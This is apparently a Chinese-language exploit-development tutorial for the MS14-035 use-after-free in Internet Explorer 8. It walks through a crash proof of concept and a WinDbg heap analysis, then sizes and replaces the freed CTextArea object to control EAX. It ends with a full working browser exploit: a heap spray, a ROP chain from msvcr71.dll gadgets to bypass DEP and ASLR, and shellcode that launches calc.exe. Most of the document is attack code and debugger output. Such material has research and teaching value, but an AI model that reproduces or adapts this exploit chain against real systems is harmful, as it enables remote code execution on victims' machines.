實驗環境:
- Windows 7 SP1 EN
- IE 8.0.7601.17514
POC:
<html>
<head>
<title>MS14-035 Internet Explorer CInput Use-after-free POC</title>
</head>
<body>
<form id="testfm">
<textarea id="child" value="a1"></textarea>
<input id="child2" type="checkbox" name="option2" value="a2" />Test check
<br />
<textarea id="child3" value="a2"></textarea>
<input type="text" name="test1" />
</form>
<script>
var startfl = false;
function changer() {
if (startfl) {
document.getElementById("testfm").innerHTML = "";
CollectGarbage();
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange = changer;
startfl = true;
document.getElementById("testfm").reset();
</script>
</body>
</html>
首先,利用 gflags 為 IE 開啟 Page Heap 以及 Stack Trace 功能。

運行 POC 後 windbg 停止在
(b64.8f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000004 ebx=0afeafb0 ecx=00000002 edx=00000004 esi=0bdb5fa0 edi=00000002
eip=7058b792 esp=0864d024 ebp=0864d044 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mshtml!CElement::GetLookasidePtr+0x7:
7058b792 23461c and eax,dword ptr [esi+1Ch] ds:002b:0bdb5fbc=????????
顯然 esi+1c 指向的記憶體區域已經被釋放。
0:005> !heap -p -a esi
address 0bdb5fa0 found in
\_DPH_HEAP_ROOT @ 4f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
bee057c: bdb5000 2000
74f890b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77cb1464 ntdll!RtlDebugFreeHeap+0x0000002f
77c6ab3a ntdll!RtlpFreeHeap+0x0000005d
77c13472 ntdll!RtlFreeHeap+0x00000142
776e14dd kernel32!HeapFree+0x00000014
7041c38d mshtml!CTextArea::`scalar deleting destructor'+0x0000002b
70591daf mshtml!CBase::SubRelease+0x00000022
705efc0b mshtml!CElement::PrivateExitTree+0x00000011
704e6e34 mshtml!CMarkup::SpliceTreeInternal+0x00000083
704e6c90 mshtml!CDoc::CutCopyMove+0x000000ca
704e7434 mshtml!CDoc::Remove+0x00000018
704e7412 mshtml!RemoveWithBreakOnEmpty+0x0000003a
704e9c8e mshtml!InjectHtmlStream+0x00000191
704e9add mshtml!HandleHTMLInjection+0x0000005c
704e735c mshtml!CElement::InjectInternal+0x00000307
704e951d mshtml!CElement::InjectCompatBSTR+0x00000046
704ea803 mshtml!CElement::put_innerHTML+0x00000040
70615d62 mshtml!GS_BSTR+0x000001ac
705ff10b mshtml!CBase::ContextInvokeEx+0x000005dc
7060a6c6 mshtml!CElement::ContextInvokeEx+0x0000009d
7062738a mshtml!CFormElement::VersionedInvokeEx+0x000000f0
觀察可知,最近一次存取此記憶體的位置是 mshtml!CTextArea::scalar deleting destructor'+0x0000002b。
因此推斷 esi 中被釋放的物件為 CTextArea。假設 CTextArea 的大小不超過 0x1000,則可透過 1000 - (esi & fff) 計算其大小。
0:005> r
eax=00000004 ebx=0afeafb0 ecx=00000002 edx=00000004 esi=0bdb5fa0 edi=00000002
eip=7058b792 esp=0864d024 ebp=0864d044 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mshtml!CElement::GetLookasidePtr+0x7:
7058b792 23461c and eax,dword ptr [esi+1Ch] ds:002b:0bdb5fbc=????????
0:005> ? 1000 - (esi & fff)
Evaluate expression: 96 = 00000060
由此可知,若 CTextArea 小於 0x1000,其佔用空間為 0x60。這點也可從 CTextArea::CreateElement 中的 HeapAlloc 參數得到驗證。

接著測試分配一個大小為 0x60 的物件,觀察是否能覆蓋原本的 CTextArea。
由於一個 Unicode 字元佔 1 Word (2 Bytes),扣除結束字元:
0x60 = 96 bytes = 96 / 2 - 1 = 47 個 Unicode 字元。
<html>
<head>
<title>MS14-035 Internet Explorer CInput Use-after-free POC</title>
</head>
<body>
<form id="testfm">
<textarea id="child" value="a1"></textarea>
<input id="child2" type="checkbox" name="option2" value="a2" />Test check
<br />
<textarea id="child3" value="a2"></textarea>
<input type="text" name="test1" />
</form>
<script>
var startfl = false;
function changer() {
if (startfl) {
document.getElementById("testfm").innerHTML = "";
CollectGarbage();
var b1 = "%u4141%u4141";
for (var a = 0; a < 45; a++) {
b1 += "%u4242";
}
b = unescape(b1);
elem = document.createElement("img");
elem.title = b;
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange = changer;
startfl = true;
document.getElementById("testfm").reset();
</script>
</body>
</html>
關閉 Page Heap 與 Stack Trace 後再次執行 POC,WinDbg 停在:
0:014> g
ModLoad: 702a0000 70352000 C:\Windows\SysWOW64\jscript.dll
(8fc.e48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=008cad90 ecx=008581c0 edx=00000004 esi=008581c0 edi=00000002
eip=6f96173c esp=02e7cfa0 ebp=02e7cfbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CFormElement::DoReset+0xe4:
6f96173c ff90cc010000 call dword ptr [eax+1CCh] ds:002b:4141430d=????????
可以看到我們成功控制了 eax。接下來的步驟包括:利用 Heap Spray 佈署 Payload、利用 ROP 繞過 DEP,以及利用 JRE 1.6 中的 msvcr71.dll 繞過 ASLR。
<html>
<head>
<title>MS14-035 Internet Explorer CInput Use-after-free POC</title>
</head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length < bytes) mystr += mystr;
return mystr.substr(0, (bytes - 6) / 2);
}
block_size = 0x1000;
padding_size = 0x5f4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = "";
NopSlide = "";
var Shellcode = unescape(
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# skip 4 bytes [MSVCR71.dll] !!EBP
"%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx !!EBX
"%u58bc%u7c34" + // 0x7c3458bc : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx !!EDX
"%u1298%u7c37" + // 0x7c371298 : ,# POP ECX # RETN [MSVCR71.dll]
"%uc9ba%u7c38" + // 0x7c38c9ba : ,# &Writable location [MSVCR71.dll] !!ECX
"%u2eb9%u7c34" + // 0x7c342eb9 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]!!EDI
"%u9e85%u7c35" + // 0x7c359e85 : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll] !!ESI
"%u4cd6%u7c34" + // 0x7c344cd6 : ,# POP EAX # RETN [MSVCR71.dll]
"%ua151%u7c37" + // 0x7c37a051 =>al+ef = 0x7c37a040 : ,# ptr to &VirtualProtect()
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
// Windows exec calc.exe
"%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
"%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
"%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
"%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
"%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
"%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
"%ud5ff%u6163%u636c%u652e%u6578%u4100"
);
while (Shellcode.length < 460 / 2) Shellcode += unescape("%u9090");
Shellcode += unescape("%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++) {
Padding += unescape("%ub33f");
}
for (c = 0; c < block_size; c++) {
NopSlide += unescape("%u9090");
}
NopSlide = NopSlide.substring(
0,
block_size - (Shellcode.length + Padding.length)
);
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
<body>
<form id="testfm">
<textarea id="child" value="a1"></textarea>
<input id="child2" type="checkbox" name="option2" value="a2" />Test check
<br />
<textarea id="child3" value="a2"></textarea>
<input type="text" name="test1" />
</form>
<script>
var startfl = false;
function changer() {
if (startfl) {
document.getElementById("testfm").innerHTML = "";
CollectGarbage();
var b1 = "%u0c0c%u0c0c";
for (var a = 0; a < 45; a++) {
b1 += "%u4242";
}
b = unescape(b1);
elem = document.createElement("img");
elem.title = b;
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange = changer;
startfl = true;
document.getElementById("testfm").reset();
</script>
</body>
</html>

參考資料